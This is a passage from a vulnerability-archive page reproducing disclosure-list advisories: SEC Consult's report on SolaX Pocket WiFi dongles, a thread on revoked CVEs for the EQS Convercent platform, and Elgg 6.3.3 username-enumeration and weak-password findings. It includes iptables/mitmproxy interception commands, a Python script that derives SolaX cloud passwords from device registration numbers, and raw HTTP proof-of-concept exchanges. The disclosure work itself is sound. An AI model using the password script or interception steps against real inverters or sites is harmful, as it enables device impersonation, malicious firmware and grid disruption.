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          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260212-0 \u003e\n=======================================================================\n              title: Multiple Vulnerabilities\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: Various Solax Power Pocket WiFi models\n\u00a0vulnerable version: See section below\n\u00a0 \u00a0 \u00a0 fixed version: See section below\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2025-15573, CVE-2025-15574, CVE-2025-15575\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: High\n           homepage:https://www.solaxpower.com\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2025-04-15\n                 by: Stefan Viehb\u00f6ck\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Founded in 2012, SolaX has rapidly risen to become a global leader in\nphotovoltaic energy storage systems and solutions. Leading the way in\nindustry innovation, SolaX introduced Asia\u2019s first energy storage inverter\nand has successfully launched five major product series over the years.\"\n\nSource:https://www.solaxpower.com/about/\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides patches for the affected Pocket models which can be\nobtained throw their customers\u0027 Solax Cloud accounts and using the Pocket\nfirmware upgrade function there. They should be installed immediately if\nthe device is not already patched.\n\nSEC Consult highly recommends to perform a thorough security review of the\nproduct conducted by security professionals to identify and resolve potential\nfurther security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Missing Certificate Validation for SolaX Cloud MQTT Connection (CVE-2025-15573)\nThe device does not validate the server certificate when connecting to the\nSolaX Cloud MQTTS server hosted in the Alibaba Cloud\n(mqtt001.solaxcloud.com, TCP 8883). This allows attackers in a\nman-in-the-middle position to act as the legitimate MQTT server and issuing\narbitrary commands to devices.\n\nLarge scale man-in-the-middle attacks are feasible for attackers with the\ncapabilities to execute attacks such as BGP hijacking, DNS spoofing or\nintercepting communication at the backbone level (e.g. nation state).\n\nPossible threats are:\n- Disrupting the electric grid by repeatedly starting/stopping inverters.\n- Getting initial access to the victim\u0027s local networks by flashing malicious\n  firmware on the dongles.\n- Causing physical damage by flashing malicious firmware on the inverters\n  (disabling firmware-based safety checks + introducing malicious behavior like\n  overvoltage, frequency mismatches, etc.).\n\n\n2) Insecure Credential Generation for Solax Cloud MQTT Connection (CVE-2025-15574)\nWhen connecting to the Solax Cloud MQTT server the username is the\n\"registration number\", which is the 10 character string printed on the device /\nthe QR code on the device. The password is derived from the \"registration\nnumber\" using a proprietary XOR/transposition algorithm.\nAttackers with the knowledge of the registration numbers can connect to the\nMQTT server and impersonate the dongle / inverters.\n\n\n3) Missing Firmware Authenticity Checks (CVE-2025-15575)\nThe firmware update functionality does not verify the authenticity of the\nsupplied firmware update files. This allows attackers to flash malicious\nfirmware update files on the device.\n\n\nProof of concept:\n-----------------\n1) Missing Certificate Validation for SolaX Cloud MQTTS Connection (CVE-2025-15573)\nThe following commands can be used to intercept the communication between a device\nand the Solax Cloud.\n\niptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT\niptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT\niptables -t nat -A PREROUTING -i wlan0 -p tcp -m tcp --dport 8883 -j REDIRECT --to-ports 8080\nmitmproxy --mode transparent --set connection_strategy=lazy --set tls_version_client_min=TLS1_2 --set \ntls_version_server_min=TLS1_2 -k -v\n\n\n2) Insecure Credential Generation for Solax Cloud MQTT Connection (CVE-2025-15574)\nThe following python script implements the password derivation given the\nregistration number:\n\npython ```\nimport re\n\ndef generate_solax_password(registration_number):\n    registration_number = bytearray(registration_number.encode())\n    password = bytearray(8)\n\n    password[0] = registration_number[7]\n    password[1] = registration_number[4]\n    password[2] = registration_number[3]\n    password[3] = registration_number[6]\n    password[4] = registration_number[5]\n    password[5] = registration_number[2]\n    password[6] = registration_number[9]\n    password[7] = registration_number[8]\n\n    for i in range(len(password)):\n\n        xored = password[i] ^ 0xb\n        if re.match(r\u0027[A-Z0-9]\u0027, chr(xored)):\n            password[i] = xored\n        else:\n            print(\u0027else case\u0027)\n            password[i] = ord(\u0027A\u0027)\n\n    return password.decode(\u0027ascii\u0027)\n\nregistration_number = \"SM3XXXXXXX\"\npassword = generate_solax_password(registration_number)\nprint(registration_number,password)\n```\n\n3) Missing Firmware Authenticity Checks (CVE-2025-15575)\nNo proof-of-concept is provided. Initial analysis of the firmware update\nfunctionality does not show any cryptographic checks (e.g. digital signature\nchecks) on the supplied firmware update files.\nFurthermore, ESP32 security features such as secure boot are not used.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested on a Solax Power Pocket WiFi V3:\n* 618.00415.00_Pocket_WIFI_V3.015.02_20240122\n\nIt is likely that other SolaX / QCells products that directly connect to the\nSolaX Cloud are affected. This includes inverter Wi-Fi/LAN/LTE dongles,\nAdapter Box, EV Charger, etc.\n\nThe vendor provided the following further affected products:\n1. Pocket WiFi 3.0\n2. Pocket WiFi+LAN\n3. Pocket WiFi+4GM\n4. Pocket WiFi+LAN 2.0\n5. Pocket WiFi 4.0\n\n\nVendor contact timeline:\n------------------------\n2025-05-05: Contacting vendor throughservice () solaxpower com; no response.\n2025-05-16: Contacting vendor through multiple other email addresses from their\n            website.\n2025-05-20: Asking a direct contact at SolaX Power for a security contact.\n2025-05-27: Vendor security team responds with PGP key.\n2025-05-28: Sending encrypted advisory.\n2025-06-09: Vendor responds with analysis of the issues and that\n            a new firmware will be released by the end of July 2025.\n2025-06-12: Asking a few follow-up questions, which other products are affected,\n            and whether manual update is necessary or automatically pushed.\n            No response.\n2025-07-10: Asking vendor again \u0026 regarding patch availability. No response.\n2026-02-09: Following up again, setting release date to 26th February, reserving\n            CVE numbers.\n2026-02-10: Vendor provides detailed model information with updated firmware versions.\n            Setting disclosure date to 12th February as everything is fixed\n            according to the vendor.\n2026-02-26: Public release of advisory.\n\n\nSolution:\n---------\nThe vendor provides patches for the affected Pocket models which can be\nobtained throw their customer\u0027s Solax Cloud account and using the Pocket\nfirmware upgrade function there.\n\nAs of February 10, 2026, the firmware versions for each affected Pocket model\nare as follows according to the vendor:\n1. Pocket WiFi 3.0 \u2013 (3.022.03)\n2. Pocket WiFi+LAN \u2013 (1.009.02)\n3. Pocket WiFi+4GM \u2013 (1.005.05)\n4. Pocket WiFi+LAN 2.0 \u2013 (006.06)\n5. Pocket WiFi 4.0 \u2013 (003.03)\n\nThe vendor provided the following further information regarding EV Charger\nand Adapter Box:\n1. EV Charger: The WiFi module firmware supports digital signature, but only one-way\n   authentication is implemented.\n2. Adapter Box: The WiFi module firmware supports two-way authentication and digital\n   signature.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Stefan Viehb\u00f6ck / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0197

Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
Title
Re: Multiple Security Misconfigurations and Customer Enumeration Exposure in Convercent Whistleblowing Platform (EQS Group)
Summary
Hi, the vulnerabilities are no longer considered eligible for CVE tracking, despite being real, independently discovered, responsibly disclosed, and acknowledged by the vendor. CVE IDs *can* be assigned for SaaS or similarly "cloud only" software. For a period of time, there was a restriction that only the provider could make or request such an assignment. But the current CVE rules remove this restriction: 4.2.3 CNAs MUST NOT consider the type of technology (e.g., cloud, on-premises, artificial intelligence, machine learning) as the sole basis for determining assignment. It would have been acceptable (even preferred) to leave CVE-2025-34411 and CVE-2025-34412 published and identify them as affecting an "exclusively-hosted-service:" 5.1.11.1 (A CVE Record) MUST use the “exclusively-hosted-service” tag when all known Products listed in the CVE Record exist only as fully hosted services. If the Vulnerability affects both hosted services and on-premises Products, then this tag MUST NOT be used. Rules: https://www.cve.org/resourcessupport/allresources/cnarules Regards, - Art _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
unknown unknown Affected: unknown
Create a notification for this product.
Relationships
reference GCVE-1988-2026-0197 (this record)

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GCVE-1988-2026-0195

Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
Title
Multiple Security Misconfigurations and Customer Enumeration Exposure in Convercent Whistleblowing Platform (EQS Group)
Summary
UPDATE: Following the publication of these vulnerabilities and the subsequent CVE assignments, the CVE identifiers have now been revoked. The vendor (EQS Group) contacted the CVE Program (via a CNA) and disputed the records, stating that the affected product is an exclusively hosted SaaS platform with no customer-managed deployment or versioning. Based on this argument, the CVE Program concluded that CVE assignment is “not a suitable solution for vulnerability identification” in this case, as customers do not take direct action to apply fixes. In other words, because the service is centrally hosted and patched at the provider’s discretion, the vulnerabilities are no longer considered eligible for CVE tracking, despite being real, independently discovered, responsibly disclosed, and acknowledged by the vendor. The vendor has stated that fixes are being implemented and that private customer notifications will be issued internally. While remediation is of course welcome, this outcome highlights a broader issue: vulnerabilities in SaaS platforms can effectively disappear from public vulnerability tracking, simply because the deployment model removes user agency, a model that arguably incentivizes security through obscurity, rather than transparency. The technical findings remain valid. This update is shared purely for accuracy and record-keeping. On Sun, Jan 4, 2026 at 4:40 PM <yuffie.kisaragi () atomicmail io [yuffie.kisaragi () atomicmail io]> wrote: UPDATE: The reported vulnerabilities have now been assigned CVE identifiers: CVE-2025-34411: https://www.cve.org/cverecord?id=CVE-2025-34411 [https://www.cve.org/cverecord?id=CVE-2025-34411] CVE-2025-34412: https://www.cve.org/cverecord?id=CVE-2025-34412 [https://www.cve.org/cverecord?id=CVE-2025-34412] _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
unknown unknown Affected: unknown
Create a notification for this product.
Relationships
reference GCVE-1988-2026-0195 (this record)

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            "sourcePublishedAt": "2026-01-04T22:01:57Z"
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    "dateUpdated": "2026-09-08T07:57:41Z",
    "state": "PUBLISHED",
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GCVE-1988-2026-0194

Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
Title
Username Enumeration - elggv6.3.3
Summary
# Exploit Title: Elgg - Username Enumeration # Date: 1/2026 # Exploit Author: Andrey Stoykov # Version: 6.3.3 # Tested on: Ubuntu 22.04 # Blog: https://msecureltd.blogspot.com/2026/01/friday-fun-pentest-series-47-lack-of.html // HTTP Request - Resetting Password - Valid User POST /action/user/requestnewpassword HTTP/1.1 Host: elgg.local User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 71 Origin: http://elgg.local Sec-GPC: 1 Connection: keep-alive Referer: http://elgg.local/forgotpassword Cookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6 Upgrade-Insecure-Requests: 1 Priority: u=0, i __elgg_token=2Cpt0GyVW9swhLkm5PggkQ&__elgg_ts=1769264047&username=admin // HTTP Response - Resetting Password - Valid User HTTP/1.1 302 Found Date: Sat, 24 Jan 2026 14:14:43 GMT Server: Apache/2.4.52 (Ubuntu) Cache-Control: must-revalidate, no-cache, no-store, private expires: Thu, 19 Nov 1981 08:52:00 GMT pragma: no-cache Location: http://elgg.local/ Vary: User-Agent Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Content-Length: 318 <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='http://elgg.local/'"; /> <title>Redirecting to http://elgg.local/</title> </head> <body> Redirecting to <a href="http://elgg.local/";>http://elgg.local/</a>. </body> </html> // HTTP Request - Following Redirection - Valid User GET / HTTP/1.1 Host: elgg.local User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://elgg.local Sec-GPC: 1 Connection: keep-alive Referer: http://elgg.local/action/user/requestnewpassword Cookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6 Upgrade-Insecure-Requests: 1 Priority: u=0, i // HTTP Response - Following Redirection - Valid User HTTP/1.1 200 OK Date: Sat, 24 Jan 2026 14:14:46 GMT Server: Apache/2.4.52 (Ubuntu) Cache-Control: must-revalidate, no-cache, no-store, private x-frame-options: SAMEORIGIN expires: Thu, 19 Nov 1981 08:52:00 GMT pragma: no-cache x-content-type-options: nosniff Vary: Accept-Encoding,User-Agent Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Content-Length: 20646 [...] <div class="elgg-message elgg-message-success"><div class="elgg-inner"><div class="elgg-body">Successfully requested a new password, email sent</div></div></div> [...] // HTTP Request - Resetting Password - Invalid User POST /action/user/requestnewpassword HTTP/1.1 Host: elgg.local User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 67 Origin: http://elgg.local Sec-GPC: 1 Connection: keep-alive Referer: http://elgg.local/forgotpassword Cookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6 Upgrade-Insecure-Requests: 1 Priority: u=0, i __elgg_token=2Cpt0GyVW9swhLkm5PggkQ&__elgg_ts=1769264047&username=x // HTTP Response - Resetting Password - Invalid User HTTP/1.1 302 Found Date: Sat, 24 Jan 2026 14:15:07 GMT Server: Apache/2.4.52 (Ubuntu) Cache-Control: must-revalidate, no-cache, no-store, private expires: Thu, 19 Nov 1981 08:52:00 GMT pragma: no-cache Location: http://elgg.local/forgotpassword Vary: User-Agent Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Content-Length: 374 <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url=' http://elgg.local/forgotpassword'"; /> <title>Redirecting to http://elgg.local/forgotpassword</title> </head> <body> Redirecting to <a href="http://elgg.local/forgotpassword";> http://elgg.local/forgotpassword</a>. </body> </html> // HTTP Request - Following Redirection - Invalid User GET /forgotpassword HTTP/1.1 Host: elgg.local User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://elgg.local Sec-GPC: 1 Connection: keep-alive Referer: http://elgg.local/action/user/requestnewpassword Cookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6 Upgrade-Insecure-Requests: 1 Priority: u=0, i // HTTP Response - Following Redirection - Invalid User HTTP/1.1 200 OK Date: Sat, 24 Jan 2026 14:15:09 GMT Server: Apache/2.4.52 (Ubuntu) Cache-Control: must-revalidate, no-cache, no-store, private x-frame-options: SAMEORIGIN expires: Thu, 19 Nov 1981 08:52:00 GMT pragma: no-cache x-content-type-options: nosniff Vary: Accept-Encoding,User-Agent Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Content-Length: 19681 [...] <div class="elgg-message elgg-message-error"><div class="elgg-inner"><div class="elgg-body">Username x not found.</div></div></div> [...] _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Username Enumeration -",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Andrey Stoykov"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# Exploit Title: Elgg - Username Enumeration\n# Date: 1/2026\n# Exploit Author: Andrey Stoykov\n# Version: 6.3.3\n# Tested on: Ubuntu 22.04\n# Blog:\nhttps://msecureltd.blogspot.com/2026/01/friday-fun-pentest-series-47-lack-of.html\n\n// HTTP Request - Resetting Password - Valid User\n\nPOST /action/user/requestnewpassword HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 71\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/forgotpassword\nCookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n__elgg_token=2Cpt0GyVW9swhLkm5PggkQ\u0026__elgg_ts=1769264047\u0026username=admin\n\n// HTTP Response - Resetting Password - Valid User\n\nHTTP/1.1 302 Found\nDate: Sat, 24 Jan 2026 14:14:43 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nLocation: http://elgg.local/\nVary: User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 318\n\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n    \u003chead\u003e\n        \u003cmeta charset=\"UTF-8\" /\u003e\n        \u003cmeta http-equiv=\"refresh\" content=\"0;url=\u0027http://elgg.local/\u0027\"; /\u003e\n\n        \u003ctitle\u003eRedirecting to http://elgg.local/\u003c/title\u003e\n    \u003c/head\u003e\n    \u003cbody\u003e\n        Redirecting to \u003ca href=\"http://elgg.local/\";\u003ehttp://elgg.local/\u003c/a\u003e.\n    \u003c/body\u003e\n\u003c/html\u003e\n\n// HTTP Request - Following Redirection - Valid User\n\nGET / HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/action/user/requestnewpassword\nCookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n// HTTP Response - Following Redirection - Valid User\n\nHTTP/1.1 200 OK\nDate: Sat, 24 Jan 2026 14:14:46 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nx-frame-options: SAMEORIGIN\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nx-content-type-options: nosniff\nVary: Accept-Encoding,User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 20646\n\n[...]\n\u003cdiv class=\"elgg-message elgg-message-success\"\u003e\u003cdiv class=\"elgg-inner\"\u003e\u003cdiv\nclass=\"elgg-body\"\u003eSuccessfully requested a new password, email\nsent\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\n[...]\n\n// HTTP Request - Resetting Password - Invalid User\n\nPOST /action/user/requestnewpassword HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 67\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/forgotpassword\nCookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n__elgg_token=2Cpt0GyVW9swhLkm5PggkQ\u0026__elgg_ts=1769264047\u0026username=x\n\n\n// HTTP Response - Resetting Password - Invalid User\n\nHTTP/1.1 302 Found\nDate: Sat, 24 Jan 2026 14:15:07 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nLocation: http://elgg.local/forgotpassword\nVary: User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 374\n\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n    \u003chead\u003e\n        \u003cmeta charset=\"UTF-8\" /\u003e\n        \u003cmeta http-equiv=\"refresh\" content=\"0;url=\u0027\nhttp://elgg.local/forgotpassword\u0027\"; /\u003e\n\n        \u003ctitle\u003eRedirecting to http://elgg.local/forgotpassword\u003c/title\u003e\n    \u003c/head\u003e\n    \u003cbody\u003e\n        Redirecting to \u003ca href=\"http://elgg.local/forgotpassword\";\u003e\nhttp://elgg.local/forgotpassword\u003c/a\u003e.\n    \u003c/body\u003e\n\u003c/html\u003e\n\n// HTTP Request - Following Redirection - Invalid User\n\nGET /forgotpassword HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/action/user/requestnewpassword\nCookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n// HTTP Response - Following Redirection - Invalid User\n\nHTTP/1.1 200 OK\nDate: Sat, 24 Jan 2026 14:15:09 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nx-frame-options: SAMEORIGIN\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nx-content-type-options: nosniff\nVary: Accept-Encoding,User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 19681\n\n[...]\n\u003cdiv class=\"elgg-message elgg-message-error\"\u003e\u003cdiv class=\"elgg-inner\"\u003e\u003cdiv\nclass=\"elgg-body\"\u003eUsername x not found.\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\n[...]\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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        },
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        },
        {
          "url": "http://elgg.local"
        },
        {
          "url": "http://elgg.local/"
        },
        {
          "url": "http://elgg.local/\""
        },
        {
          "url": "http://elgg.local/\u0027\""
        },
        {
          "url": "http://elgg.local/action/user/requestnewpassword"
        },
        {
          "url": "http://elgg.local/forgotpassword"
        },
        {
          "url": "http://elgg.local/forgotpassword\""
        },
        {
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        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
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      "source": {
        "defect": [
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        ],
        "discovery": "EXTERNAL"
      },
      "title": "Username Enumeration - elggv6.3.3",
      "x_gcve": [
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          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0194",
          "x_vulnarchive": {
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            "automated": true,
            "contentSha256": "117ea4f7bc3e4cf6e724145aae4a21a9e1546f57275af082c1192b9de57223cb",
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            "messageId": "",
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            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-24T18:04:50Z"
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    "dateUpdated": "2026-09-08T07:57:41Z",
    "state": "PUBLISHED",
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}

GCVE-1988-2026-0193

Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
Title
Weak Password Complexity - elggv6.3.3
Summary
# Exploit Title: Elgg - Lack of Password Complexity # Date: 1/2026 # Exploit Author: Andrey Stoykov # Version: 6.3.3 # Tested on: Ubuntu 22.04 # Blog: https://msecureltd.blogspot.com/2026/01/friday-fun-pentest-series-48-weak.html // HTTP Request - Changing Password POST /action/usersettings/save HTTP/1.1 Host: elgg.local User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 216 Origin: http://elgg.local Sec-GPC: 1 Connection: keep-alive Referer: http://elgg.local/settings/user/admin Cookie: Elgg=5ivi0vt1g9jqu1sju70hfnm0mc Upgrade-Insecure-Requests: 1 Priority: u=0, i __elgg_token=nIY_M_wh53bUxoHvuKO1YA&__elgg_ts=1769266299&username=admin&name=Admin+User&email_password=&email= admin () example com &current_password=[REDACTED]&password=Passw0rd%21&password2=Passw0rd%21&language=en&guid=46 // HTTP Response - Changing Password HTTP/1.1 302 Found Date: Sat, 24 Jan 2026 14:52:07 GMT Server: Apache/2.4.52 (Ubuntu) Cache-Control: must-revalidate, no-cache, no-store, private expires: Thu, 19 Nov 1981 08:52:00 GMT pragma: no-cache Location: http://elgg.local/settings/user/admin Vary: User-Agent Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Content-Length: 394 <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url=' http://elgg.local/settings/user/admin'"; /> <title>Redirecting to http://elgg.local/settings/user/admin</title> </head> <body> Redirecting to <a href="http://elgg.local/settings/user/admin";> http://elgg.local/settings/user/admin</a>. </body> </html> // HTTP Request - Changing Password - Following Redirect GET /settings/user/admin HTTP/1.1 Host: elgg.local User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://elgg.local Sec-GPC: 1 Connection: keep-alive Referer: http://elgg.local/action/usersettings/save Cookie: Elgg=5ivi0vt1g9jqu1sju70hfnm0mc Upgrade-Insecure-Requests: 1 Priority: u=0, i // HTTP Response - Changing Password - Following Redirect HTTP/1.1 200 OK Date: Sat, 24 Jan 2026 14:52:11 GMT Server: Apache/2.4.52 (Ubuntu) Cache-Control: must-revalidate, no-cache, no-store, private x-frame-options: SAMEORIGIN expires: Thu, 19 Nov 1981 08:52:00 GMT pragma: no-cache x-content-type-options: nosniff Vary: Accept-Encoding,User-Agent Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Content-Length: 27859 [...] <div class="elgg-message elgg-message-success"><div class="elgg-inner"><div class="elgg-body">Password changed</div></div></div> [...] _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products

{
  "containers": {
    "cna": {
